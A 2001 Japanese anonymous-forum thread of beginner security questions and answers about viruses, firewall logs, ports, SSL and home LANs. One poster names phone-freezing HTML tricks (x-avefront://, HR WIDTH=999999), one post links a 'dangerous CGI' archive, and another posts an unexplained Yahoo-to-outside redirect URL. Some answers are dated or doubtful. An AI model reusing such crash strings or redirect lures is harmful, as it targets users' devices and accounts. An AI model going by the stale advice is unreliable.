ホムぺがどこに書き換えるかなど・・
具体的に書いたほうがいいと思われ・・
多少長くなっても・・
でも要点ははっきりしよう。

>>569

>>565はWin板でもスレを立てやがった、マルチポスト野郎です。
解決したみたいだから、もう来ないと思われ。

http://yasai.2ch.net/test/read.cgi?bbs=win&key=995315925&st=301&to=333

>570
ふぉろーせんきゅう(T_T)

あわわ。
ちなみに同一人物じゃないんですけど、そっちのスレに詳しく書いてありますね。
試してみたいと思いますー。

他人にメールのパスやIDを知られたらメールを見たり勝手に送信したりできますよね
知られてしまったらどう対処したらよいのでしょう・・・
あと、自分のPCのみでのアクセスする事はできるんですか？

>573
passかえれば？

>>574
それも考えてみたんですけど色々設定しなおさないといけないのでほかの方法無いですかねぇ

質問です。

SSL で暗号化したホームページにアクセスした場合、途
中の経路で URL は暗号化されるのでしょうか。

というのも、新生銀行のオンラインバンクではアクセス
すると URL が

https://direct.shinseibank.co.jp/... &fldUserID=****&fldUserPass=*****&fldUserNumId=****

のようになり、口座番号・暗証番号・パスワードが丸見
えになるんです。もし URL が暗号化されていなかった
ら非常に危険だと思いまして。

暗号化されていたとしても画面には表示されているわけ
で、危険なのは変わりないのですが。

１時５４分からずっとhttp-proxy(211.208.10.161)ががんばってきてるんです。
ノートン入れて寝てたのですが今起きてびっくり。ＺＯＮＥも入れて見るとさらに詳しくわかったので
The firewall has blocked Internet access to your computer (TCP Port 8080) from 211.208.10.161 (TCP Port 3740) [TCP Flags: S].

Time: 2001/07/29 5:59:38
こういう感じなのですがどういうことでしょう？

>>577
211.208.10.161をwhoisして管理者に問い合わせてください。
はやくしないとログをほかられてしまいます。
追跡したら民事訴訟してください。
不法行為による損害賠償請求が可能です。
あと業務妨害の方もひっかかると思います。

>>578
これは管理者に連絡取るのは難しいな
やさしい韓国語講座全10巻が必要だ

信頼出来るフリーメールを教えて下さい。

　ある板である方にフリーメールを登録し、メルアドを公開して
　もらおうとしています。しかし非常に荒れている板で
　パソコン初心者の彼女のセキュリティが心配です。
　　1)ウイルスメールの被害を受けにくい
　　　(当然使う側も注意する、ウイルス対策ソフト併用として)
　　2)容量が大きい(メールボムの影響が小さい)
　　3)使用後、履歴が他者へ漏れない
　　4)サービス会社が信頼出来る(個人情報が流出しない)
　　5)サービスがダウン、ビジーにならない
　(優先順)といった基準で見て最も良いフリーメールはどれ
　でしょう。HotmailそれともYahoo、或いは？

　上の回答が難しければ、あるいは
　　1)ウイルスメールの被害を受けにくい
　のはどの様な機能をもたメールシステムでしょうか。

　ネットに詳しい方、宜しくお願い致します。

>>580
>1)ウイルスメールの被害を受けにくい
>　のはどの様な機能をもたメールシステムでしょうか。

そりゃメールサーバの時点でウィルス検出してるシステムだろうな
そんなフリーメールやプロバイダは無いよ
誤検出して必要なメールを捨てでもしたら大事だから

>>581
　おおっ、早速のレス有難うございます。
＞そんなフリーメールやプロバイダは無いよ
　なる程、フリーメールに多くを望むのも変な話ですね。
　それでしたら、
　　・使う側も出来る限りの注意をする
　　・ウイルス対策ソフト併用
　という前提で考えたら如何でしょうか。

　例えば"every-mail"の場合、一覧表示では
　　　未読/既読、差出人、件名、日時
　しか表示されません。開封しないと添付ファイルの有無や、
　ファイル容量すら分からず、開封前の削除判断が難しい。
　但しHTMLメールをHTMLとして表示できないから、
　HTMLを利用したウイルスは機能しない(?)
　又ログアウトボタンを押せば、履歴等でも内容は見れなくなる。

　一方、"LYCOS"メールは一覧画面でサイズ、添付ファイル有無も
　表示。しかし、HTMLメールか否かは判断できず、開くと
　HTMLメールを表示できちゃう。又履歴やキャッシュのクリアも
　手動でやる必要がある。容量も4MBだけ。(涙)

　個人的にはこの二つしか使ったことが無いのですが…

　あと、
　　4)サービス会社が信頼出来る(個人情報が流出しない)
　あたりはやっぱりMICROSOFTが一番なんでしょうか。

　以上、ムシの良い質問ですが、宜しくお願い致します。

maido3.comのフリーメールが使いやすいです(捨てることを前提として)。

＞他人にメールのパスやIDを知られたらメールを見たり勝手に送信したりできますよね
知られてしまったらどう対処したらよいのでしょう・・・
あと、そのアドレスにに自分のPCのみでのアクセスする事はできるんですか？

これの答えを教えてくださいお願いしますホンットに困ってるんですよ・・・
友達がメールの内容を言い当ててるんです
怪しいから私がそのことについて軽く聞いてみたりすると動揺したりするし・・・

捨てメアドなら捨てて、また新しいのとったら良いんでないの？
本メアドならプロバに相談するのが先でない？どうなるか知らんけど。
いっそプロバも変えるとか。

>>586
本アドです。なるべく今の状態を変更したくないんです
ソフトなどで守ることはできませんか？できればフリーソフトをお願いします。

取り敢えずパス変更される前にパス変えておきなよ。

学校の教員をしています。
勤務先でインターネット接続環境が光ファイバーになる予定です。
職場内にはネットワーク、セキュリティに詳しい者はいません。

40台ほど入っているコンピュータ室と
教室に１台ずつ配置されるPCに接続され、LANも敷設される予定です。
ハッカージャパンなどの厨房雑誌など何冊か立ち読みしたのですが
それだけでは足りないと感じています。

DDOS攻撃によるマシンの誤作動、生徒の悪用(なりすまし等)、
トロイの木馬を入れられて乗っ取られるなど
悪いことを想像するといくつも思いつきます。

質問したいこととして
これらに対してどのような対策をすべきかということです。
PCの設定、使用に関する内規など
何を考えるべきなのかということさえまとまっていません。

何卒、このような環境下でどのようなことをすべきか
ということを教えてください。

>>589
回線を近くにある斧でぶった切る。

>>589
ここで全部聞くつもり？
コンサルティング頼んだらどうだい

>>587
まあプロバイダのIDとパス見られただけだろうけど、
トロイの可能性もあるだろうからチェックしてみたら？

>>589
サーバーのOSは?
それがわからなどうにもならしまへんけど。
基本はファイアーオール導入と不要なサービスの停止(ポート閉じまくり)、
生徒のセキュリティ意識を向上させることなどのセキュリティポリシー。
パスワード変更の際はアホ(すぐ破られるよう)なパスの場合は蹴るなどして
硬(破られにく)いパスの際のみ変更を許すなどの工夫が必要。
基本的に性悪説に則って管理に勤しんでください。

とりあえず、『Hacking Exposed』(翔泳社)でも読んで
考えられうる限りの防御策を練ってください。

>>590
>>591
>>593
ありがとうございます。
>とりあえず、『Hacking Exposed』(翔泳社)
購入してみます。
コンサルティングの会社についてはどういったところで調べたらいいでしょうか。
依頼するなら評判のいいところをこの板で調べられますか。

http://www.symantec.com/region/jp/securitycheck/index.html

ここでウィルス検査して、ウィルスかトロイが発見された。そしてそのファィルをけそうと
思ってファィル検索にかけたんだけど、見つからないから、自分のパソコンに最初かっら
入ってたウィルス検査（ちゃんと新しいバージョンをダウンロードした）
で検査してみたら今度は異常なかった。
ねーどうなってるの？

>>595
誤検出ってこともあるけど、いったい何が見つかったの？

>>596
ちょと待ってください、もいっかい検査して結果表示はりますぅ｡

>>576
> SSL で暗号化したホームページにアクセスした場合、途
> 中の経路で URL は暗号化されるのでしょうか。

一部はされます。

もちろん URL 中の scheme や hostname 部分は接続に必要な情報なの
で生で流れてしまいますが、普通のブラウザならそれ以降の abs_path
の部分は接続後に HTTP の GET リクエスト等でやり取りされますので、
それらに関しては SSL で保護されることになります。

なので、ご懸念の点に関してはいちおう OK。

もっとも、SSL が有効になる前に漏らしてしまうお馬鹿なブラウザが
いないとは限らないし、

> のようになり、口座番号・暗証番号・パスワードが丸見
> えになるんです。

という仕様自体がドキュソであることは言うまでもないです

>>596
ちょっと待ってください。この頃すぐフリーズしちゃって、
もう一回トライしてみますぅ。

ポート１１１を叩くのって、どういう目的なんですか？
ＵＮＩＸ鯖かどうかを調べる、って聞いたことあるんですけど、
それ以外に何か考えられますか？

SunRPCから考えうる事。う〜ん、暇つぶし。

危険なCGIがいっぱい

http://000.zive.net
(危険保管庫)

>>600
port 111を使うようなアプリはUNIX系には沢山ある
portmapprもその一つ、NFS等を狙ったクラックがあるってことじゃ

トロイだとしたらウイルスバスターで検索できますかねぇ？
一応アップデートはしてありますけど、とりあえず検索してみます。

ダイアルアップパスワードをクラッカーによって
変えられてしまう事ってありますか？
何度もパスワードが無効になってしまっているのですが。

>>605
web上でパスが変えられるんなら出来るでしょ。

>>605
まさかとは思うが、「パスを保存する」にチェックは付いてるか？

>>607
>>605のHN、「初心者」だよ？チェック付いてるのは当然じゃない？

>>606-608
御答ありがとうございます。
「パスを保存する」にチェックしていました。
チェックしていると変えられてしまうという事なのでしょうか。

そうじゃなくって、それはあくまでパスを抜く事。
パスと多少の個人情報があったらパスが変えられるかどうかは、プロバ次第。

>>609
パスワードと、うどんは手打ちに限る。（笑え

>>611
ﾜﾗﾀ

>>611
ｳｴｰﾝ

ﾆﾔﾆﾔ

ｳﾌﾌ

ｹﾞﾍﾍ

ﾆﾍｯ　ﾆﾍｰ ﾆﾍﾍｯﾍﾍ

お前らアホ荒らしの１がいるスレに帰れよ（ｗ

えー。私も例に漏れずチェックしております。(汗
でもこれって、そんなに簡単に抜かれてしまうものなんですか？
ActiveX とか Java * とか 切って、IEもちゃんと最新のSP当てて
ノートンのＮＩＳ入れてW2Kのセキュリティサイト見てその通り設定して
･･･と結構がんばってるつもりなんですけど。。
でもこんなのはこちらの皆さんなら当然なさってることでしょうから、
それでなおかつ手打ち･･･ということはつまりそれだけ簡単に
抜かれる、ということなのですか？

>>619
基本的には保存してるしてないは全く関係ない
もちろんファイルに入ってる以上、それを抜かれたらダメだけどね

>>618
流れを作っちゃった。ｽﾏｿ

>>619
空き巣と同じ、油断大敵、過信は禁物

>>619
そんだけやってれば十分だよ。ただ、パスワードを保存すると
レジストリに記録されたりするからってこと。変なActiveXとか
トロイなんてそうそうないし、保存して全然構わないよ

ちょっとお伺いしたいことがあるんですが、
私の携帯(N502it)で変なページにアクセスしたりすると
例の＜/EXPLAINTEXT＞でx-avefront://....やらHR WIDTH=999999
を使って携帯を止められたり勝手にメールを送信させられたりすることが
よくあります。そこでチェック用のCGIを作ろうと思ったのですがPerlに
詳しくないので行き詰まってしまいました。
基本的な質問かもしれなくてごめんなさいなんですが、リンク先のソースや
アドレスを取得できるPerlのコマンド（変数？）ってあるんでしょうか？
よろしかったら教えてください。
＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝

ありがとうございます。とりあえずは安心しました。

>>623
これってセキュリティ板かな・・・？まあいいか

use LWP::Simple;
$content = get($url);

これが一番簡単だけど、鯖にLWPは入ってないだろうから
Socket使ってやってくれたまえ

>>601
なんでウチには暇人が集結するんでしょうか？(泣

>>603
ウチはW2Kですので全く無関係、と安心してても平気でしょうか。

>>626
君の所だけじゃないよ。SUNRPCは1日に10回ぐらい
来ても全然普通。別に気にするものじゃない。

＞W2K
超平気

よく考えたらSocket使わせてくれる鯖もあんまり無いな

良かった。。。
どうもです。

ウィルス検出スキャンの結果
66185 個のファイルをスキャンし 1 個のファイルが感染していました。

メモリ上でウィルスは見つかりませんでした。

スキャンしたファイルの中に 1 つ以上のウィルスが検出されました。

この問題を解決するには:

修復に役立つ総合的なウィルス対策プログラムの購入をご検討ください。
または、次のファイルを削除します:

The file c:\WINDOWS\Temporary Internet Files\Content.IE5\0XYV4PAB\imode[1].html is infected with VBS.LoveLetter.CI
こんなのがでるんですけど。このウィルススキャンは五回やって五回とも
みつかりました。だから語検出ではないとおもいますぅ。

p4041-ip01souka.saitama.ocn.ne.jp
b140168.ppp.dion.ne.jp

連続して、W95.Hybris.wormに感染しているFMJLHBFM.EXEが送られてきたよ。
ヘッダーにFromもToもないので、わけわからんです。

>>630
そのファイル手動で削除してみた？多分それで直るよ。
ウィルス発見した時は該当ファイル削除が基本。

>>631
気にせんでよし。個別に捨てるべし。理由は・・・めんどい。

>>632
アドバイスありがとうございました。
ポイしました。

>>632さん
削除しようと思ってファィル検索にかけたら三個でてきました。
user.dat c:\windows datファィル
index2[9] c:windoes\t... microsoft html do..
user.dot c:\windows datファィル
どれを削除するんですか？全部ですか？
あとなんで自分のウィルス検索にはかからないの？何回やってもです。
MCAFEEVIRUSCANもってるんすけど・・・。

>>634=５９５
>>630で表示されてる、
インターネットキャッシュファイルを削除したらいいと思うんだけど。
>>634がどういう検索をかけて出てきたリストなのか良くわかんないので、
他の人の意見も聞いた方がいいと思う・・・ｽﾏｿ。

ウィルスパターンのアップデートしてあるよね。
エンジンのアップデートとか。
後、他のウィルス検索エンジンも使ってみて、
どういう結果になるかもみた方がいいと思うよ。
http://www.trendmicro.co.jp/hcall/scan.htm
↑使った事が無いから、性能がどうか良く分からないけど。

後、同じ検索エンジンとウィルスパターンを使ってると、
同じ結果になるはずだから、誤診かどうかは判断できないよ。

595=630=634
>>632さん

僕はファイルを削除しようと思ってスタートクリックして検索でファイルやフォルダ
でc:\WINDOWS\Temporary Internet Files\Content.IE5\0XYV4PAB\imode[1].html is infected with VBS.LoveLetter.CI
これをそのまま含まれる文字列のところに貼り付けたら６３４のリストが
でてきました。
たぶんウィルスパターンのUPDATEはしてます。エンジンのUPDATEとは
なんですか？僕はただUPDATEのボタンをクリックしただけなので・・

今、教えてもらった検索かけてます。

>>592
ウイルスには感染してませんでした
デジタルIDで防げますか？できれば取得のやり方を教えてください。

ヽ(´ー｀）ﾉ 萌え〜

ウィルバスター２００１をいれたが、
なんかネットがたまに遅くなるんだけど気のせいかな？
サーチに妙に時間かかるんだよね。昼間でも。

>>639
気のせいじゃない。バスターのファイヤーウォールは遅くなる

>>640
やはり！

しかしウィルスも怖いし、どうしたもんか。
普通はどっち？起動しとくもんか？

finger って、dos でいうと netstat みたいなもんですか？
web server があるUNIX鯖で、finger をやるとその鯖にある
webページを現在閲覧してるホストのIPが分かるわけですか？

で、その finger って、プロトコルはどれですか？

＞◆finger v1.0 [BSD version]
＞Human68k 用の finger クライアントです． finger とは，ユーザ名，ホスト名を与えると，そのホストのユーザの情報(本名やログイン日時など)を表示するものです．

なんか全然違ったみたいですね･･･。
えーと、UNIXでの netstat 相当のコマンドは･･･。

UNIXでもnetstat・・・

あ！そーなんですか！！
ありがとーございます！
えーと。それってプロトコルは何で初夏･･･
とかさらにお聞きしてもいいですか？

ウィルスバスターでネット速度（ＡＤＳＬ）が遅くなる軒
なんですけど、公式ページに対処方かいてありました。
サクサクに治りました。どうもご迷惑かけました。

>>646
プロトコル・・・netstatってどういうものかわかってるのかな

え、、と。多分わかってません。。

一体ナニが言いたいかというと、web鯖で netstat したとき、
その鯖に接続していたPCの方には何らかのパケットが
飛んでくると思うのですが、それは一体どのプロトコルで
くるのかなーと。TCP/UDP が表示されるから、その
両方の種類の奴が同時に飛んでくるのですか？
ＩＣＭＰだけで何とかなるのですか？

プロトコル：ネット上でのやりとりの際のデータフォーマット
netstat ：当該ホストに接続してるリモートホストを一覧表示するコマンド

っていう程度の理解です。。
web鯖上で、netstat したら、その鯖にあるページを閲覧してる
ＰＣも一覧表示されるのかなーと思ったんですけど違いますか？

>>649
多分というかかなりわかってないようだ。
もう一回 netstat を検索してどういうものか確認しなさい。

web鯖上で、っていうのは、そのweb鯖の管理者が、ということです。

DNS　UDP

ありがとうございます！！！！
てか、さっきゾーンアラームで
＞FWIN,2001/08/01,00:52:14 +9:00 GMT,***.***.***.***:***,***.***.***.***:53,TCP
こんなのが来たんですが、こういうのはTCPだからそういう可能性は
無いわけですね？すいません、しつこくて。
つーかDNSってTCPとUDPの２種類あったんですか･･･今知った。。

>>654
いや、誤解しないように。netstatしたってDNSの問い合わせ
出すぐらいだってこと。DNSサーバーにね。相手のところに行く訳
じゃないよ。それと、君のいう事はなんだかボロボロなので、
PC-UNIXでも勉強してみたらどうか

そうします。失礼しました。

＞相手のところに行く訳
＞じゃないよ。

この点を根本的に誤解しとりました。
どうもありがとうございました。

ケーブルインターネットなのですがダイヤルのときと違って
串の刺し方が意味不明です。
すでに自分のケーブル会社の串は刺さっていますが､
違う串にしたいのです。ドキュソな質問かもしれませんが
どうか教えてください。

Javaアプレットのスクリプト
アクティブ　スクリプト
スクリプトによる貼り付け処理の許可
とは、それぞれどのようなことなのでしょうか。
このスレのレスの中で
一番ヴォケな質問になってしまうとは重々承知なのですが。

すいません、もう一回だけ、質問の仕方を変えて
お聞きしてもいいですか？

昨日さんざんわけわからん質問をさせて頂いたのは、
昔、某匿名ＢＢＳで、あるとき何の脈絡も無く突然
捨てハン同士で
捨てＡ＞今、何か仕掛けられてるね
捨てＢ＞うん、あるね。おい、俺のＩＰ抜かないでくれ！
みたいな会話がなされたんです。２ｃｈじゃないです。
その前身の。今は亡き。って言ったら明らかですけど。
自分的には、それはネタっていう感じはしませんでした。

で、今になって見るとこう思うのです。つまり
| 何かトロイ的プログラムをサーバに仕掛けて、それにより
| 接続してるユーザのＩＰを抜くことが可能である。しかも、
| 捨てＡ、Ｂがその異常に気付いたということは、その際
| 何らかの特有なパケットが各ユーザに送信されるんじゃないだろか
･･･と。

その当時はＦＷソフトとか入れてなかったんで、そのとき
何かパケットの送信があったのか、今となっては自分には
わかりません。

ですが、こんなことって、現実的にありえますか？
やはりこれって、しようもないデムパ的妄想でしょーか？

今勝手に、スクリーンセーバーや壁紙が変わったんだけど
これってヤバイ?

>>660
可能性として0ではない。サーバーに侵入できるなら、
パケットをサーバーからユーザーに送らなくても、
ユーザーから送信されたパケットからIPを抜く事も出来る。

>>661
壁紙やスクリーンセーバーのチェンジャーだろ（w

>>662
チェンジャーって何ですか?

あの、オークションの取引相手から

Hi! How are you?

I send you this file in order to have your advice

See you later. Thanks

という文面とDocument.doc.batという１４０KBのテンプファイルが届きました
あけてしまったのですが、もしかしてやばいのでしょうか？
どなたか教えて下さい。お願いします。

>>663
日本語にし辛いんだけど、変更してくれるソフト。
とにかく、ウィルスチェックしなさい。

>>664
つか、かなりガイシュツネタ。ウィルス駆除しなさい。
怪しいファイル開く前にウィルススキャンしなさい。

まじですか？
わかりました。

もしお分かりになるのでしたらそれの詳細をお願いします。

やっぱり自分で探してみます。

兎に角、駆除しなさい、とにかく早く。
ウィルス感染したのが分かった時は
コンポーネントのアップデートしてから、
回線切って、駆除してから、どんなウィルスだったか知ればいい。

ウイルスの定義が９９年１２月・・・

ありがとうございます。
今から買ってきます。
でいいでしょうか？
五分後にでます・・・。
みじめ・・・。

>>664
添付ファイルの拡張子見ればわかるとおもうが。
無料の体験版ウイルスチェックソフトがあるから、
ダウンロードして調べてみなさい。

http://www.symantec.com/region/jp/trial/trial.html

待て、フリーの駆除ツールがあったはず。
ちょっと待て。待つんだ。

http://www.symantec.com/region/jp/news/year01/010723.html
兎に角これやってみなさい。

あ、ありがとうございます。
とりあえず試してみてその後改めてお礼にまいります。

http://www.trendmicro.co.jp/esolution/solutionDetail.asp?solutionID=3034
こっちもあるぞ。

http://www.trendmicro.co.jp/virusinfo/default3.asp?VName=TROJ_SIRCAM.A
駆除し終わったら見てくれていいから。

>>664
一番売れてんのはこれかな？
ウイルスバスターさんもありますよ。
無料の体験版はこちら。

http://www.trendmicro.co.jp/product/vb2001/trial.htm

ノートンアンチウイルスを入れてますが、評判はどうですか？
個人的には使いやすくていいです。

＞662
＞可能性として0ではない。サーバーに侵入できるなら、
＞パケットをサーバーからユーザーに送らなくても、
＞ユーザーから送信されたパケットからIPを抜く事も出来る。

ありがとうございます。なるほど。。そっちの方が合理的ですよね。
じゃあのときの二人はなんで異常に気付いたんだろう。。。
その点について、何か他に思い当たる可能性とかってありますか？

>>678
ただ単に、掲示板のHTMLに普段は無い<APPLET>とか
<OBJECT>があったとかじゃネーノ。ソース見なくても
ブラウザのセキュリティレベル上げてればなんらかの
ダイアログとか出るし。

つーか常にパケットのチェックしてる奴なんかそうそういない。
「IP抜かないでくれ」なんていってる時点でただの厨房だし

うーん。。。でも、あの掲示板の性格上、もしそんな
分かり易い仕掛けだったら、あっという間に糾弾･弾劾
スレッドが立てられて、大騒ぎになったと思います。。

で、『パケットの監視』というのは自分としては、
『ＦＷでの監視→警告』を想定してました。これなら
簡単にできますし、結構誰でもやってると思いますし。
ほんで、例えば
“port Ｘ番 はIPを抜かれる際にパケットが飛んでくるところ”
みたいな暗黙の了解があって、そのＸ番への不審なパケットを
FWがブロックして、警告してきたのでわかったのかな？と想像(妄想？)
してたわけです。でも、既にご指摘があった通り、IP抜くのにわざわざ
改めてパケットを送信する必要は無いような気がするんですよねぇ･･･。。
わけわからんです。。ネタ、というのが一番スッキリするんですけど(藁

IPを抜くためにパケットを飛ばす？まず、その
パケットを飛ばす宛先はどこで調べるんだい？
必要が無いというか、根本的に考えが違うよ。

>>680
何か色々悩みが多いみたいだから先に言うと、まあ、ネタでしょう。

TCPパケットには行き先のIPや、発信元のIPなんかがあって、
それを利用する事でちゃんとした行き先に送る事が出来るのね。
だから極端な話、サーバー側に送られる「webページのデータください」
って言うパケットを調べるだけでIPは抜けるのね。オーケイ？
詳しくはTCPパケットのヘッダ参照のこと。

アホな質問にお付き合い頂いて申し訳ないす。。

＞パケットを飛ばす宛先はどこで調べるんだい？

え、えーと、だからそれはサーバ向けへのパケットから抜いて･･･
それをまた確認にために送り返すとか･･･って、苦しいですね ~~;;

＞必要が無いというか、根本的に考えが違うよ。

てか、もし仮にネタの可能性を否定すると、こうでも考えないと
説明がつかないという感じでして･･･　^^;;;

＞何か色々悩みが多いみたいだから先に言うと、まあ、ネタでしょう。

やっぱそうなんでしょうかねー。。うーんそれにしてはあまりにさりげなかったけど。。。

＞詳しくはTCPパケットのヘッダ参照のこと。

ですね。ろくろく勉強してないで質問してたので、実はずっとドキドキしてました。

･･･みなさん、どうもありがとうございます。

すみません、教えてください。
Macなんですが、ブラクラ対策どうしたらいいでしょうか?
ラウンジの「勇気が無くて見れないスレッド」にブラクラチェッカーと
ガイシュツ対策の方法が書いてありますが、Win向けの話ですよね?

ブラクラチェッカーはWinもMacも関係無いよ。
あと、IE・NNともにview-sourceは使えるから、多少
HTMLがわかるならまずソース見よう。

あとは・・・JavaScript切ったりして、ブラウザのセキュリティ
のレベル上げとくぐらいかな。それと、URLが貼られても
すぐ飛びつかないで、誰かの反応待ってからの方がいいよ

>>685
ありがとうございます!!
HTMLはあまりわからないのですが、いい機会なので
これから勉強します。

　　　　　　　　　　　＿＿＿＿＿＿＿＿＿＿＿＿＿
　　A＿A＿　　　／
　／´∀｀;:::＼＜　　おれの名はテレホマン
/　　　　/::::::::::|　＼＿＿＿＿＿＿＿＿＿＿＿＿＿
| ./|　　/:::::|::::::|
| |｜／::::::::|::::::|

このＵＲＬのどこかに隠しページがあるみたいなんです。
別に割れやえみゅを隠してるサイトじゃなくて、単に自分の
新しいサイトのアドレスを隠してるだけです。でも全然分かりません。
どなたかご協力ください。

　http://www.eri.u-tokyo.ac.jp/you/index.html

age

失礼、今度こそage

ゾーンアラーム使ってるとIPC Servergaを許可しますかとか　でるんですけど　何ですか？

IPC Serverです。

ゾーンアラームキラーというソフトがあるそうですが
これはやばいですか？やられちゃいますか？
対策は無いですか？つうかどういうことするものですか？

ゾーンアラームキラキラを使え！

マジでマジで

ZoneAlarm使ってます。時々TCP Flags:Sとでますがなんなのでしょうか？

Port111SunRPC、Windows使ってるなら関係ないよ。

ときどき５桁のデカイ番号のポートを叩いてくるやつがいますけど、
トロイのデフォルトのポート番号一覧とかで調べると、そこに載ってない
番号のときがあります。あれってなんでしょう。一体どういう目的で
やってるんでしょうか？他に何かの有名アプリがそのボートを
使ってて開いてるってことでしょうか。

なんでもない番号を、てきとーに選んだホスト相手に叩いても
意味無いように思えるんですけど。
あらかじめ、ポート番号をデフォルトから変更したトロイを
埋め込んであるホストなら別ですけど、netstat しても
うちはそんなヘンな番号開いてないし。。

初心者な質問ですみません。
ノートンISをインストしたところ、２CHへの書き込みがとても遅くなってしまいました。
解決法をご教授して頂けませんか。

あのー５９５＝６３０＝６３２＝６３６です。
c:\WINDOWS\Temporary Internet Files\Content.IE5\0XYV4PAB\imode[1].html is infected with VBS.LoveLetter.CI
このファイルの最後に書いてあるLOVELETTERは別に気にしなくてもいいのですか？
どうもパソコンの調子がよくないので・・・。パソコン使うと絶対２回くらい
フリーズしたり、画面がいきなり黒くなってチカチカします。
どうすればいいんですかぁ？

LoveLetterはそんなに危険なウィルスじゃないよ。
他のファイルに感染してないなら問題ないはずだけど。
フリーズに関しては夏だから熱に耐えられないんじゃないの？
クロックを下げてみるとか、ドライバを入れ直すとか。
色々手を打ってダメだったらWindowsをインストールし直すとか。

>>701
＞LoveLetterはそんなに危険なウィルスじゃないよ。
とゆうことはやっぱりウィルスなのですね。一応きになるので
消したいのですが検索の仕方を教えてもらえないでしょうか？
>>634と636に書いてあるように僕の検索の仕方であってますか？
それでもダメならインストールし直し、しか道はないですよねぇ。

書き忘れましたけどメール送れなくなっちゃったのですがそれも何か
関係があるのですか？
送信者の電子メール アドレスが拒否されたため、メッセージを送信できませんでした。
と出るのですぅ。関係ないですか？

http://www.trendmicro.co.jp/loveletter/index.htm
LoveLetter Virus Information
http://www.trendmicro.co.jp/virusinfo/default3.asp?VName=VBS%5FLOVELETTER%2DO
ウィルス情報
ここらを見て判断して頂戴。

プロバイダのsmtp使ってメール送信しまくってたら、
無駄なトラフィックがかかるから利用停止される事もあるよ。
LoveLetterが独自のsmtpエンジン使ってるかどうか知らないけど。

>>704さん
ありがとう！！
調べてみます。
＞プロバイダのsmtp使ってメール送信しまくってたら、
＞無駄なトラフィックがかかるから利用停止される事もあるよ。
なるほど。とゆうことは、プロバイダでメールを送らないで
ほっとメールを使えばいいとゆうことですか？

まあ、ウェブメールなら使えるけど、特に覚えが無いなら、
プロバに相談してみ、鯖が変わったとかって言うのを除けば、
よほどの事が無かったら、smtp利用停止なんてないよ。
あるいは簡易smtpをどこかからDLしてくるとか。

>>699は放置ですか・・・トホホ

ノートン Internet Securoty2001
http://ton.2ch.net/test/read.cgi?bbs=sec&key=993017961&st=70&to=71&nofirst=true
http://ton.2ch.net/test/read.cgi?bbs=sec&key=993017961&st=114&to=114&nofirst=true

質問、
・ノートンさんが悪いのか？
・俺は検索エンジンか？
以上2点に付いて疑問です。

Tcupのレベル1掲示板みたいに、投稿をいったん管理者が確認してから
表示するタイプの掲示板ほかにないでしょうか？　少しくらいなら料金が
高くてもかまわないのでマジレス（「んならTcupレベル1使えやｺﾞﾙｧ」
とかでなく）きぼーん。

ビックリしました。テレビ宮崎のホームページ見たらこんなの出てきました。

ttp://www.umk.co.jp/
ttp://61.203.204.9/

○社内 LAN IP アドレス一覧(Global)
○社内 LAN IP アドレス一覧(Private)
○ＵＭＫメールアドレス一覧

これってマズくないです？
一応、地方とはいえ放送局なんですから。
IPの一覧とか、全社員のアドレスを公開しちゃマズいでしょ。

厨房質問ですいません。
Hi! How are you?
この添付をMac/OS9.0以前で開いたらどうなるんでしょう。
何も起こらないんでしょうか？
ただの好奇心なんですが、どなたか教えてください。

SircamをMacで開きたいが？ってことか。
SircamはWindowsのみしか働かない
ウィルスだから関係ないけど。
そもそもファイルにMacヘッダが付いてないから
そのままじゃファイルが開けないはず。違うかな？

名前： 名無しさん＠お腹いっぱい。
E-mail：
内容：
>712さん
ありがとうございます。
Sircamの添付はPCフォーマットのFDに落ちてます。
FDのフォルダ内のファイルはすべてMacで確認できます。

>SircamはWindowsのみしか働かない ウィルスだから関係ないけど。
と、いうことは仮に開いてみても、何も起こらないということでしょうか？
とりあえず、シンプルテキスト(PCのメモ帳に相当)などで表示は出来ると思うのですが・・・？
もちろん文字化けの可能性は高いと思いますが。

訂正：Macヘッダ→Macバイナリ
バイナリエディタでデータ部分を切り出してあるのなら、
普通のファイルと同じだから開ける？
Macのファイルがどうなってるか忘れた。
まあ、ウィルス部分を実行できないから、感染は有り得ない。

ウィルスバスター２００１とNorton internet Security 2001 ver.3.0
ってどっちが良いのでしょうか？

NIS

ポート番号1025、サービス名blackjackが開いてるのです。
これって何するものなの？

２台パソコンでRANを組んでるんですが、
その内の１台を終了する時に
「２人のユーザーが接続しています。シャットダウンを…」と出てきました。

これって、誰かに侵入されてますか？

接続環境は、フレッツ・ISDNで、
IPマスカレード機能付の無線ルーターでネット接続してます。

ＩＰドメインサーチ↓
ttp://www.mse.co.jp/ip_domain/
で調べても何も情報が表示されないのはなぜ？

>>718
RANだからじゃないですか？知りませんけどね。

>>718
無線ルーターでプライベートIPが192.168.0.1とかだったら簡単に侵入されるよ。
もっとも、無線LANの受信LANカードが同じで、プライベートIPが192.168.0.?の時だけど。
パスつけてなかったなんて当たり前だけど。

>>719
良くある事、そんなに気にする事無い。

>>721
最後の行で訂正、「当たり前」→「論外」変な日本語になってた（汗

>>720
合わせて2台のRANなので、
理論上2人のユーザーが接続していることは、ありえないと思うのですが…。（自信なし）
エラーなどで、こういう表示が出ることもあるのでしょうか？

>>723
きみぃ、いいねぇ〜。
最近なかなか居ないよ、
君みたいな娘♥
名前は？

>>721
それって、無線の届く範囲内から侵入されるという事でしょうか？

プライベートIPは、192.168.100.2でした。
パスワードは設定していません。

やられた、俺のレス鹿十かよ。誰もそこにツッコまないし、寂しい（涙

http://edit.my.yahoo.co.jp/config/login?.lg=jp&.intl=jp&logout=1&.src=auc&.done=http://www.ariga10.com/?id=8443

良かった鹿十されてなかった（嬉涙
でも、LANだからね。覚えてね。

プライベートIPが同じレンジにあれば自動的に一連のネットワークとみなす、
サブネットマスクまでは考えなくても良いだろう。と、色々考えられる。
安易なプライベートIPは使わない事だね。

>>728　遅レスすみません。あと、LANでしたね(^^;

実際問題、既に侵入されてると思います？
また、侵入されていたとしたら、後から対策ソフトを入れても無駄でしょうか？

プライベートIPは、変更してみます。

>>697
亀スレスマソ。unix以外なら関係ないってことですか？どうもです。

>>729
ファイルの転送量をチェックすれば分かるよ。受信、送信共に。
今からでも対策は共有する時はパスかける、プライベートIPを変える、
プライベートIPをみだりに人に教えない、ルーターに利用者制限をかける。
など、と幾らでもあるけど。

>>731
転送量は、解らないです。
取りあえずいろいろやってみます。
ありがとうございました。

最近、何かをＤＬ中でもないのに、
ダイアルアップ接続のアイコンがピカピカ光ってます。
気になるのですが、どのアプリケーションが交信しているのかわかりません。
どのアプリケーションがどのポートを使っているのかわかる方法を教えて下さい｡

